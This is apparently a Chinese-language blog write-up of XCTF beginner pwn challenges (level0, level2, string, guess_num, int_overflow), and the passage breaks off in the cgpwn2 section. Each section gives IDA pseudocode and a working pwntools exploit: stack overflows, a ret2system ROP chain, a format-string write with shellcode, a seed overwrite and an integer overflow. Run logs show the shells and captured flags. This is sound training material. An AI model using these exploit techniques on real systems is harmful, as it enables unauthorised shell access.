IDA<\/code>\uff0c\u5bf9\u4e8e\u5b83\u7684\u5e38\u7528\u547d\u4ee4\u53ef\u4ee5\u53c2\u8003IDA\u57fa\u672c\u4f7f\u7528<\/a>\u8fd9\u7bc7\u6587\u7ae0\u3002<\/p>\nlevel0<\/h2>\n
![\"image-20240204001639220\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/p>\n(\u8fd9\u4e2a\u56fe\u662f\u76d7\u7684\uff0c\u4e4b\u524d\u6211\u7684\u90a3\u4e2a\u56fe\u4e0d\u77e5\u9053\u5565\u65f6\u5019\u641e\u6ca1\u4e86\uff0c\u8fd9\u91cc\u5148\u501f\u7528\u4e00\u4e0b\u522b\u4eba\u7684\u56fe\uff0c\u653b\u9632\u4e16\u754c\u6539\u754c\u9762\u4e86\uff0c\u7eaa\u5ff5\u6211\u6b7b\u53bb\u7684\u9752\u6625\u8fa3\uff01)<\/p>\n
pwn\u771f\u662f\u76f2\u533a\uff0c\u770b\u7740wp\u91cc\u7167\u505a\u5427\uff0c\u5148\u4e0b\u8f7d\u9644\u4ef6\uff0c\u67e5\u770b\u7136\u540e\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n
pwn@whoami:~\/\u684c\u9762$ checksec a\n[*] '\/home\/p\/\u684c\u9762\/a'\n Arch: amd64-64-little\n RELRO: No RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x400000)\npwn@whoami:~\/\u684c\u9762$ .\/a\nHello, World<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u662f\u4e00\u4e2a64\u4f4d\u7684\u7a0b\u5e8f\uff0c\u62ffIDA<\/code>\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n\u6309F5<\/code>\u67e5\u770bC\u4f2a\u4ee3\u7801\uff0c\u770b\u5230vulnerable_function()\u51fd\u6570<\/code>\u6709\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u7f13\u5b58\u533a\u6ea2\u51fa\u6f0f\u6d1e\u3002<\/p>\nssize_t vulnerable_function()\n{\n char buf; \/\/ [rsp+0h] [rbp-80h]\n\n return read(0, &buf, 0x200uLL);\n}<\/code><\/pre>\n\u7136\u540e\u7ee7\u7eed\u67e5\u770b\u53ef\u4ee5\u770b\u5230\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u4e1c\u897f\uff0ccallsystem\u51fd\u6570<\/code>\u91cc\u9762\u6709==\/bin\/sh==\uff1a<\/p>\nint callsystem()\n{\n return system("\/bin\/sh");\n}<\/code><\/pre>\n\u901a\u8fc7\u8986\u76d6\u8fd4\u56de\u5730\u5740\uff0c\u76f4\u63a5\u8c03\u7528 callsystem("\/bin\/sh")<\/code> \u7684\u4ee3\u7801\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230\u7cfb\u7edf\u7684 shell \u3002<\/p>\n\u6784\u9020exploit\uff0c\u81ea\u5df1\u4e0d\u592a\u4f1a\u5199\uff0c\u76f4\u63a5\u501f\u9274\u5927\u4f6c\u7684<\/a>\u4e86\uff01<\/p>\nfrom pwn import *\np = remote('111.200.241.244',55359)\np.send('a'*0x88+p64(0x400596))\np.interactive() <\/code><\/pre>\n\u4f46\u662f\u8fd9\u91cc\u51fa\u9519\u4e86\uff1a<\/p>\n
pwn@whoami:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 55359: Done\nTraceback (most recent call last):\n File "exp.py", line 3, in <module>\n p.send('a'*0x88+p64(0x400596))\nTypeError: can only concatenate str (not "bytes") to str\n[*] Closed connection to 111.200.241.244 port 55359<\/code><\/pre>\n\u641c\u4e86\u4e00\u4e0b\u8fd9\u4e2a\u62a5\u9519\uff0c\u53d1\u73b0\u53ea\u8981\u5728p64(0x400596)<\/code>\u540e\u9762\u52a0\u4e0a.decode('unicode_escape')<\/code>\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\npwn@whoami:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 55359: Done\nexp.py:3: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n p.send('a'*0x88+p64(0x400596).decode('unicode_escape'))\n[*] Switching to interactive mode\nHello, World\n$ ls\nbin\ndev\nflag\nlevel0\nlib\nlib32\nlib64\n$ cat flag\ncyberpeace{776f9e83fc7fd1774e8abed1e3d030e2}<\/code><\/pre>\nlevel2<\/h2>\n
<\/div><\/p>\n\u9898\u76ee\u4e0a\u9762\u5df2\u7ecf\u660e\u793a\u4e86\u4f7f\u7528 ROP<\/a>\uff0c\u5148\u641c\u4e00\u4e0b\u8fd9\u662f\u4e2a\u4ec0\u4e48\u4e1c\u897f\uff1a<\/p>\n\nROP\u7684\u5168\u79f0\u4e3aReturn-oriented programming\uff08\u8fd4\u56de\u5bfc\u5411\u7f16\u7a0b\uff09\uff0c\u8fd9\u662f\u4e00\u79cd\u9ad8\u7ea7\u7684\u5185\u5b58\u653b\u51fb\u6280\u672f\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u73b0\u4ee3\u64cd\u4f5c\u7cfb\u7edf\u7684\u5404\u79cd\u901a\u7528\u9632\u5fa1\uff08\u6bd4\u5982\u5185\u5b58\u4e0d\u53ef\u6267\u884c\u548c\u4ee3\u7801\u7b7e\u540d\u7b49\uff09\u3002\u901a\u8fc7\u4e0a\u4e00\u7bc7\u6587\u7ae0\u6808\u6ea2\u51fa\u6f0f\u6d1e\u539f\u7406\u8be6\u89e3\u4e0e\u5229\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\u6808\u6ea2\u51fa\u7684\u63a7\u5236\u70b9\u662fret\u5904\uff0c\u90a3\u4e48ROP\u7684\u6838\u5fc3\u601d\u60f3\u5c31\u662f\u5229\u7528\u4ee5ret\u7ed3\u5c3e\u7684\u6307\u4ee4\u5e8f\u5217\u628a\u6808\u4e2d\u7684\u5e94\u8be5\u8fd4\u56deEIP\u7684\u5730\u5740\u66f4\u6539\u6210\u6211\u4eec\u9700\u8981\u7684\u503c\uff0c\u4ece\u800c\u63a7\u5236\u7a0b\u5e8f\u7684\u6267\u884c\u6d41\u7a0b\u3002<\/code><\/p>\n<\/blockquote>\n\u770b\u4e00\u4e0b\u7a0b\u5e8f\u7684\u4fdd\u62a4\u72b6\u6001\u548c\u5b83\u7684\u8fd0\u884c\u60c5\u51b5\uff1a<\/p>\n
pwn@ubuntu:~\/\u684c\u9762$ checksec 1\n[*] '\/home\/baoyujie\/\u684c\u9762\/1'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\npwn@ubuntu:~\/\u684c\u9762$ .\/1\nInput:\n111\nHello World!<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u5b58\u5728\u4e00\u4e2a\u8f93\u5165\u70b9\uff0c\u4e22\u5230 IDA \u91cc\u770b\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u6253\u5f00main\u51fd\u6570\u770b\u4e00\u4e0b\uff1a<\/p>\n
<\/div><\/p>\n\u8fdb\u5165vulnerable_function()<\/code>\u548csystem()<\/code>\u518d\u770b\u4e00\u4e0b\uff1a<\/p>\n\/\/vulnerable_function()\nssize_t vulnerable_function()\n{\n char buf; \/\/ [esp+0h] [ebp-88h]\n\n system("echo Input:");\n return read(0, &buf, 0x100u);\n}<\/code><\/pre>\n\/\/system\nint system(const char *command)\n{\n return system(command);\n}<\/code><\/pre>\n\u518dshift+F12<\/code>\u67e5\u770b\u5b57\u7b26\u4e32\u7a97\u53e3\uff1a<\/p>\n<\/div><\/p>\n\u53ef\u4ee5\u5c1d\u8bd5\u6784\u9020\u4e00\u4e2asystem("\/bin\/sh")<\/code>\uff0c\u8fd9\u91cc\u76f4\u63a5\u770b\u5e03\u533b<\/a>\u5927\u4f6c\u7684\u811a\u672c<\/a>\u4e86\uff1a<\/p>\nfrom pwn import *\ncontext.log_level = 'debug'\nr = remote("111.200.241.244",58123)\nbin_sh = 0x0804A024\nsystem = 0x08048320\nr.recvuntil("Input:\\n")\npayload = 'a' * (0x88) + 'a' * 4 + p32(system).decode('unicode_escape')+ p32(0).decode('unicode_escape') +p32(bin_sh).decode('unicode_escape')\nr.send(payload)\nr.interactive()<\/code><\/pre>\n\u8fd0\u884c\u4ee5\u540e\u5c31\u5f97\u5230flag\u4e86\u3002<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 58123: Done\nexp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n r.recvuntil("Input:\\n")\n[DEBUG] Received 0x7 bytes:\n b'Input:\\n'\nexp.py:8: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n r.send(payload)\n[DEBUG] Sent 0x98 bytes:\n 00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 \u2502aaaa\u2502aaaa\u2502aaaa\u2502aaaa\u2502\n *\n 00000080 61 61 61 61 61 61 61 61 61 61 61 61 20 83 04 08 \u2502aaaa\u2502aaaa\u2502aaaa\u2502 \u00b7\u00b7\u00b7\u2502\n 00000090 00 00 00 00 24 a0 04 08 \u2502\u00b7\u00b7\u00b7\u00b7\u2502$\u00b7\u00b7\u00b7\u2502\n 00000098\n[*] Switching to interactive mode\n$ ls\n[DEBUG] Sent 0x3 bytes:\n b'ls\\n'\n[DEBUG] Received 0x24 bytes:\n b'bin\\n'\n b'dev\\n'\n b'flag\\n'\n b'level2\\n'\n b'lib\\n'\n b'lib32\\n'\n b'lib64\\n'\nbin\ndev\nflag\nlevel2\nlib\nlib32\nlib64\n$ cat flag\n[DEBUG] Sent 0x9 bytes:\n b'cat flag\\n'\n[DEBUG] Received 0x2d bytes:\n b'cyberpeace{d4a511d80a7187395517501cde6fa398}\\n'\ncyberpeace{d4a511d80a7187395517501cde6fa398}<\/code><\/pre>\nstring<\/h2>\n
<\/div><\/p>\n\u5148\u67e5\u770b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ checksec string\n[*] '\/home\/pwn\/\u684c\u9762\/string'\n Arch: amd64-64-little\n RELRO: Full RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x400000)<\/code><\/pre>\n\u7a0b\u5e8f\u5f00\u4e86==NX(\u5806\u6808\u4e0d\u53ef\u6267\u884c)\u3001CANARY(\u6808\u4fdd\u62a4)\u548cPELRO==<\/p>\n
\u8fd0\u884c\u4e00\u4e0b\u770b\u770b\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ .\/string\nWelcome to Dragon Games!\n .~)>>\n .~))))>>>\n .~))>> ___\\\n .~))>>)))>> .-~))>>\\\n .~)))))>> .-~))>>)> \n .~)))>>))))>> .-~)>>)> \n ) .~))>>))))>> .-~)))))>>)>\n ( )@@*) \/\/)>)))))) .-~))))>>)>\n ).@(@@ \/\/))>>))) .-~))>>)))))>>)>\n (( @.@). \/\/))))) .-~)>>)))))>>)>\n )) )@@*.@@ ) \/\/)>))) \/\/))))))>>))))>>)>\n (( ((@@@.@@ |\/))))) \/\/)))))>>)))>>)>\n )) @@*. )@@ ) (\\_(\\ |))>)) \/\/)))>>)))))))>>)>\n (( @@@(.@(@ . _\/`-` ~|b |>))) \/\/)>>)))))))>>)>\n )* @@@ )@* (@) (@) |))) \/\/))))))>>))))>>\n (( @. )@( @ . _\/ \/ )) \/\/))>>)))))>>>_._\n )@@ (@@*)@@. (6, 6) \/ ^ )\/\/))))))>>)))>> ~~-.\n ( @jgs@@. @@@.*@_ ~^~^~, \/\\ ^ \/)>>))))>> _. `,\n ((@@ @@@*.(@@ . \\^^^\/' ( ^ )))>> .' `,\n ((@@).*@@ )@ ) `-' (( ^ ~)_ \/ `,\n (@@. (@@ ). ((( ^ `\\ | `.\n (*.@* \/ (((( \\ \\ . `.\n \/ ((((( \\ \\ _.-~\\ Y, ;\n \/ \/ (((((( \\ \\.-~ _.`" _.-~`, ;\n \/ \/ `(((((() ) (((((~ `, ;\n _\/ _\/ `"""\/ \/' ; ;\n _.-~_.-~ \/ \/' _.-~ _.'\n ((((~~ \/ \/' _.-~ __.--~\n (((( __.-~ _.-~\n .' .~~\n : ,'\n\nwe are wizard, we will give you hand, you can not defeat dragon by yourself ...\nwe will tell you two secret ...\nsecret[0] is de02a0\nsecret[1] is de02a4\ndo not tell anyone \nWhat should your character's name be:\naaaa\nCreating a new player.\n This is a famous but quite unusual inn. The air is fresh and the\nmarble-tiled ground is clean. Few rowdy guests can be seen, and the\nfurniture looks undamaged by brawls, which are very common in other pubs\nall around the world. The decoration looks extremely valuable and would fit\ninto a palace, but in this city it's quite ordinary. In the middle of the\nroom are velvet covered chairs and benches, which surround large oaken\ntables. A large sign is fixed to the northern wall behind a wooden bar. In\none corner you notice a fireplace.\nThere are two obvious exits: east, up.\nBut strange thing is ,no one there.\nSo, where you will go?east or up?:<\/code><\/pre>\n\u8fd9\u91cc\u663e\u793a\u6743\u9650\u4e0d\u8db3\u7684\u8bdd\uff0c\u5c31\u4f7f\u7528sudo chmod -R 777 [\u6587\u4ef6\u540d]<\/code>\u589e\u52a0\u6743\u9650\u3002<\/p>\n\u6253\u5f00IDA\u770b\u4e00\u4e0b\uff0csub_400BB9<\/code>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6709\u4e2a\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e<\/code><\/p>\n<\/div><\/p>\n\u5728sub_400CA6<\/code>\u91cc\u53ef\u4ee5\u627e\u5230\u5982\u4e0b\uff1a<\/p>\n<\/div><\/p>\n==PS\uff1ammap\u662f\u4e00\u5757\u53ef\u6267\u884c\u533a\u57df\uff0c\u53ef\u4ee5\u901a\u8fc7\u5199\u5165shellcode\u7684\u65b9\u5f0f\u6765\u83b7\u53d6shell==<\/p>\n
\u53ef\u4ee5\u53d1\u73b0\u7a0b\u5e8f\u8fd0\u884c\u4e00\u5f00\u5934\u4e24\u4e2asecret<\/code>\u662fa1[0]<\/code>\u548ca1[1]<\/code>\u7684\u5730\u5740\u3002<\/p>\n\u7f16\u5199\u811a\u672c\u5373\u53ef\uff0c\u8fd9\u91cc\u4f7f\u7528\u4e86\u611a\u516c\u642c\u4ee3\u7801<\/a>\u7684\u811a\u672c\uff1a<\/p>\nfrom pwn import *\np = remote("111.200.241.244", 63170)\np.recvuntil('secret[0] is ')\n# \u83b7\u53d6\u7b2c\u56db\u4f4d\u7684\u5730\u5740\uff0c\u7528\u5207\u7247\u5207\u6389\u6700\u540e\u7684\\n\uff0c\u5f00\u59cb\u7684\u7a7a\u683c\u5728\u4e0a\u9762\u7684 recvuntil \u4e2d\n# \u83b7\u5f97\u7684\u6570\u5b57\u76f4\u63a5\u7528 int(x, 16) \u5373\u53ef\u8f6c\u6210\u5341\u8fdb\u5236\u6574\u578b\u50a8\u5b58\u5728 addr \u4e2d\naddr = int(p.recvuntil('\\n')[:-1], 16)\np.recvuntil('name be:\\n')\np.sendline('Yuren')\np.recvuntil('up?:\\n')\np.sendline('east')\np.recvuntil('leave(0)?:')\np.sendline('1')\np.recv()\np.sendline(str(addr))\np.recv()\np.sendline('%85x%7$n')\nrec = p.recvuntil('SPELL\\n')\ncontext(os='linux', arch='amd64')\np.sendline(asm(shellcraft.sh()))\np.interactive()<\/code><\/pre>\n$ cat flag\ncyberpeace{e7fe529a83f5bb60339929857b2ea665}<\/code><\/pre>\n\u672c\u9898\u5f3a\u70c8\u5efa\u8bae\u770b\u4e00\u4e0bDeeeelete<\/a>\u5e08\u5085\u7684\u6587\u7ae0\uff1a\u653b\u9632\u4e16\u754cPWN-string<\/a>\u4ee5\u53ca\u611a\u516c\u642c\u4ee3\u7801<\/a>\u7684\u6587\u7ae0\u3010\u611a\u516c\u7cfb\u5217\u30112022\u5e7401\u6708 \u653b\u9632\u4e16\u754c-\u7b80\u5355\u9898-PWN-003(string)<\/a><\/p>\nguess_num<\/h2>\n
<\/div><\/p>\n\u6253\u5f00\u73af\u5883\uff0c\u8fd0\u884c\u9644\u4ef6\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ checksec guess_num\n[*] '\/home\/baoyujie\/\u684c\u9762\/guess_num'\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\nPwn@ubuntu:~\/\u684c\u9762$ .\/guess_num \n-------------------------------\nWelcome to a guess number game!\n-------------------------------\nPlease let me know your name!\nYour name:aaa\n-------------Turn:1-------------\nPlease input your guess number:12\n---------------------------------\nGG!<\/code><\/pre>\n\u6253\u5f00IDA\u770b\u4e00\u4e0bmain\u51fd\u6570\uff1a<\/p>\n
__int64 __fastcall main(__int64 a1, char **a2, char **a3)\n{\n int v4; \/\/ [rsp+4h] [rbp-3Ch]\n int i; \/\/ [rsp+8h] [rbp-38h]\n int v6; \/\/ [rsp+Ch] [rbp-34h]\n char v7; \/\/ [rsp+10h] [rbp-30h]\n unsigned int seed[2]; \/\/ [rsp+30h] [rbp-10h]\n unsigned __int64 v9; \/\/ [rsp+38h] [rbp-8h]\n\n v9 = __readfsqword(0x28u);\n setbuf(stdin, 0LL);\n setbuf(stdout, 0LL);\n setbuf(stderr, 0LL);\n v4 = 0;\n v6 = 0;\n *(_QWORD *)seed = sub_BB0();\n puts("-------------------------------");\n puts("Welcome to a guess number game!");\n puts("-------------------------------");\n puts("Please let me know your name!");\n printf("Your name:", 0LL);\n gets(&v7);\n srand(seed[0]);\n for ( i = 0; i <= 9; ++i )\n {\n v6 = rand() % 6 + 1;\n printf("-------------Turn:%d-------------\\n", (unsigned int)(i + 1));\n printf("Please input your guess number:");\n __isoc99_scanf("%d", &v4);\n puts("---------------------------------");\n if ( v4 != v6 )\n {\n puts("GG!");\n exit(1);\n }\n puts("Success!");\n }\n sub_C3E();\n return 0LL;\n}<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u8981\u5341\u6b21\u731c\u4e2d\u968f\u673a\u751f\u6210\u7684\u6570\u5b57\uff0c\u4e0d\u53ef\u80fd\uff0c\u7edd\u5bf9\u4e0d\u53ef\u80fd\uff0c\u4f46\u662f\u53ef\u4ee5\u770b\u5230\u8fd9\u4e2a\u968f\u673a\u751f\u6210\u6570\u662fsrand()<\/code>\u751f\u6210\u7684\u4f2a\u968f\u673a\u751f\u6210\u6570\u3002<\/p>\nseed \u662funsigned int \u578b\u7684 \u572864\u4f4d\u4e2d \u53604\u4e2a\u5b57\u8282 \u5c31\u662f\u56db\u4e2a\u5b57\u7b26 \u7136\u540e\u4ece\u540d\u5b57\u90a3\u5012seed\u4e2d\u95f4\u67090x20\u4e2a\uff0c\u53ef\u4ee5\u901a\u8fc7\u8986\u76d6\u6389seed\uff0c\u7528\u81ea\u5df1\u9009\u62e9\u7684\u4f5c\u4e3a\u79cd\u5b50\uff0c\u5f04\u51fa\u4e00\u6478\u4e00\u6837\u7684\u968f\u673a\u6570\u3002<\/p>\n
\u76f4\u63a5\u8fd0\u7528\u811a\u672c\uff0c\u8fd9\u91cc\u53c2\u8003\u7684\u662fNathan-Yang<\/a>\u5e08\u5085\u7684\u811a\u672c\uff1a<\/p>\nfrom pwn import *\nfrom ctypes import *\nio = remote('111.200.241.244', 55184)\nlibc = cdll.LoadLibrary("\/lib\/x86_64-linux-gnu\/libc.so.6")\npayload = 'a' * 0x20 + p64(1).decode()\nio.recvuntil('Your name:')\nio.sendline(payload)\nlibc.srand(1)\nfor i in range(10):\n num = str(libc.rand()%6+1)\n io.recvuntil('number:')\n io.sendline(num)\nio.interactive()<\/code><\/pre>\n\u8fd0\u884c\u5f97\u5230flag:<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ vi exp.py\nPwn@ubuntu:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 55184: Done\nexp.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.recvuntil('Your name:')\nexp.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendline(payload)\nexp.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.recvuntil('number:')\nexp.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendline(num)\n[*] Switching to interactive mode\n---------------------------------\nSuccess!\nYou are a prophet!\nHere is your flag!cyberpeace{9f895fd6555e868b189d7eae00c8c8b6}\n[*] Got EOF while reading in interactive<\/code><\/pre>\nint_overflow<\/h2>\n
<\/div><\/p>\n\u8001\u6837\u5b50\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ checksec int_overflow\n[*] '\/home\/baoyujie\/\u684c\u9762\/int_overflow'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\nPwn@ubuntu:~\/\u684c\u9762$ .\/int_overflow\nbash: .\/int_overflow: \u6743\u9650\u4e0d\u591f\nPwn@ubuntu:~\/\u684c\u9762$ chmod -R 777 int_overflow\nPwn@ubuntu:~\/\u684c\u9762$ .\/int_overflow\n---------------------\n~~ Welcome to CTF! ~~\n 1.Login \n 2.Exit \n---------------------\nYour choice:1\nPlease input your username:\nadmin\nHello admin\n\nPlease input your passwd:\npassword\nInvalid Password\nPwn@ubuntu:~\/\u684c\u9762$ .\/int_overflow\n---------------------\n~~ Welcome to CTF! ~~\n 1.Login \n 2.Exit \n---------------------\nYour choice:2\nBye~<\/code><\/pre>\nIDA\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n
\/\/main\u51fd\u6570\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n int v4; \/\/ [esp+Ch] [ebp-Ch]\n\n setbuf(stdin, 0);\n setbuf(stdout, 0);\n setbuf(stderr, 0);\n puts("---------------------");\n puts("~~ Welcome to CTF! ~~");\n puts(" 1.Login ");\n puts(" 2.Exit ");\n puts("---------------------");\n printf("Your choice:");\n __isoc99_scanf("%d", &v4);\n if ( v4 == 1 )\n {\n login();\n }\n else\n {\n if ( v4 == 2 )\n {\n puts("Bye~");\n exit(0);\n }\n puts("Invalid Choice!");\n }\n return 0;\n}<\/code><\/pre>\n\u53ef\u4ee5\u770b\u5230\u8fd9\u6709\u4e2alogin()<\/code>\u51fd\u6570\uff0c\u770b\u4e00\u4e0b\uff1a<\/p>\nint login()\n{\n char buf; \/\/ [esp+0h] [ebp-228h]\n char s; \/\/ [esp+200h] [ebp-28h]\n memset(&s, 0, 0x20u);\n memset(&buf, 0, 0x200u);\n puts("Please input your username:");\n read(0, &s, 0x19u);\n printf("Hello %s\\n", &s);\n puts("Please input your passwd:");\n read(0, &buf, 0x199u);\n return check_passwd(&buf);\n}<\/code><\/pre>\n\u7ee7\u7eed\u770b\u4e00\u4e0b\u8fd9\u4e2acheck_passwd()<\/code>\u51fd\u6570\uff1a<\/p>\nchar *__cdecl check_passwd(char *s)\n{\n char *result; \/\/ eax\n char dest; \/\/ [esp+4h] [ebp-14h]\n unsigned __int8 v3; \/\/ [esp+Fh] [ebp-9h]\n v3 = strlen(s);\n if ( v3 <= 3u || v3 > 8u )\n {\n puts("Invalid Password");\n result = (char *)fflush(stdout);\n }\n else\n {\n puts("Success");\n fflush(stdout);\n result = strcpy(&dest, s);\n }\n return result;\n}<\/code><\/pre>\n\nv3<\/code> \u8bbe\u7f6e\u4e86\u4e00\u4e2a unsigned _int8 v3<\/code> \u65e0\u7b26\u53f7 8\u4f4d\u53c2\u6570\uff0c\u957f\u5ea6\u6700\u5927\u4e3a8\u4f4d 255\u3002<\/li>\n- \u8d4b\u503c\u7684\u8fc7\u7a0b\u4e2d\uff0c\u7f16\u8bd1\u5668\u4f1a\u622a\u65ad\u540e\u8005\u7684\u672b\u516b\u4f4d\u8d4b\u503c\u7ed9\u524d\u8005\u30028\u4f4d\u7684\u6700\u5927\u503c\u662f 255 \uff0c\u6240\u4ee5\u5982\u679cpasswd\u5b57\u7b26\u4e32\u957f\u5ea6\u8d85\u8fc7255\u5c31\u4f1a\u5bfc\u81f4\u6ea2\u51fa\u3002<\/li>\n
- \u770b\u5230\u4e0a\u4e00\u5c42 read \u8bfb\u53d6\u7684\u65f6\u5019 \u53ef\u4ee5\u8bfb\u53d6\u5230
0x199<\/code> \u4f4d\u6570\u636e \u8fdc\u8fdc\u5927\u4e8e 255<\/li>\n<\/ul>\n<\/div><\/p>\n\u6839\u636e\u4e0a\u9762\u8bf4\u7684\u6ea2\u51fa\u90e8\u5206\u81ea\u52a8\u622a\u53d6\u540e\u516b\u4f4d\uff0c\u90a3\u4e48\u53ea\u9700\u8981\u5728 255 \u7684\u57fa\u7840\u4e0a\u52a0\u4e0a\u539f\u672c\u9650\u5236\u7684 4 - 8 \uff0c\u5373\u53ef\u5c06\u6ea2\u51fa\u90e8\u5206\u8d4b\u7ed9 v3 \uff0c\u4ece\u800c\u7ed5\u8fc7if\u5224\u65ad\u3002<\/p>\n
<\/div><\/p>\n\u800c\u4e14\u5728 string<\/code> \u89c6\u56fe(shift+F12<\/code>)\u5185\u8fd8\u53ef\u4ee5\u770b\u5230 cat flag <\/code><\/p>\n<\/div><\/p>\n\u53ef\u4ee5\u627e\u5230\uff1a<\/p>\n
int what_is_this()\n{\n return system("cat flag");\n}<\/code><\/pre>\n\u77e5\u9053\u539f\u7406\uff0c\u5199exp\u5c31\u884c\u4e86\uff1a<\/p>\n
from pwn import *\nio=remote("111.200.241.244",64586)\nio.sendlineafter("Your choice:", "1")\nio.sendlineafter("your username:", "kk")\nio.recvuntil("your passwd:")\npayload = "a" * 0x14 + "aaaa" + p32(0x0804868B)+"a"*234\nio.sendline(payload)\nio.recv()\nio.interactive()<\/code><\/pre>\n\u5f97\u5230flag:<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ python exp.py \n[+] Opening connection to 111.200.241.244 on port 64586: Done\nexp.py:3: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendlineafter("Your choice:", "1")\n\/home\/baoyujie\/.local\/lib\/python3.8\/site-packages\/pwnlib\/tubes\/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n res = self.recvuntil(delim, timeout=timeout)\nexp.py:4: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendlineafter("your username:", "kk")\nexp.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.recvuntil("your passwd:")\nexp.py:7: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https:\/\/docs.pwntools.com\/#bytes\n io.sendline(payload)\n[*] Switching to interactive mode\nSuccess\ncyberpeace{5f5d5aa7b93a146d4f0f4855f819f938}<\/code><\/pre>\ncgpwn2<\/h2>\n
<\/div><\/p>\n\u8001\u6837\u5b50\uff1a<\/p>\n
Pwn@ubuntu:~\/\u684c\u9762$ checksec cgpwn2\n[*] '\/home\/baoyujie\/\u684c\u9762\/cgpwn2'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\nPwn@ubuntu:~\/\u684c\u9762$ .\/cgpwn2\nplease tell me your name\naaa\nhello,you can leave some message here:\nasd\nthank you<\/code><\/pre>\n\u6253\u5f00IDA\u67e5\u770b\u4e00\u4e0bmain\u51fd\u6570<\/code>\uff1a<\/p>\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n setbuf(stdin, 0);\n setbuf(stdout, 0);\n setbuf(stderr, 0);\n hello();\n puts("thank you");\n return 0;\n}<\/code><\/pre>\n\u518d\u770b\u4e00\u4e0bhello()\u51fd\u6570<\/code>:<\/p>\nchar *hello()\n{\n char *v0; \/\/ eax\n signed int v1; \/\/ ebx\n unsigned int v2; \/\/ ecx\n char *v3; \/\/ eax\n char s; \/\/ [esp+12h] [ebp-26h]\n int v6; \/\/ [esp+14h] [ebp-24h]\n\n v0 = &s;\n v1 = 30;\n if ( (unsigned int)&s & 2 )\n {\n *(_WORD *)&s = 0;\n v0 = (char *)&v6;\n v1 = 28;\n }\n v2 = 0;\n do\n {\n *(_DWORD *)&v0[v2] = 0;\n v2 += 4;\n }\n while ( v2 < (v1 & 0xFFFFFFFC) );\n v3 = &v0[v2];\n if ( v1 & 2 )\n {\n *(_WORD *)v3 = 0;\n v3 += 2;\n }\n if ( v1 & 1 )\n *v3 = 0;\n puts("please tell me your name");\n fgets(name, 50, stdin);\n puts("hello,you can leave some message here:");\n return gets(&s);\n}<\/code><\/pre>\n\u6211\u4eec\u8fd8\u5728\u5176\u4ed6\u51fd\u6570\u91cc\u627e\u5230\u4e86system\uff0c\u4f46\u662f\u6ca1\u6709\u4ec0\u4e48\u6709\u4ef7\u503c\u7684\u4e1c\u897f\uff1a<\/p>\n
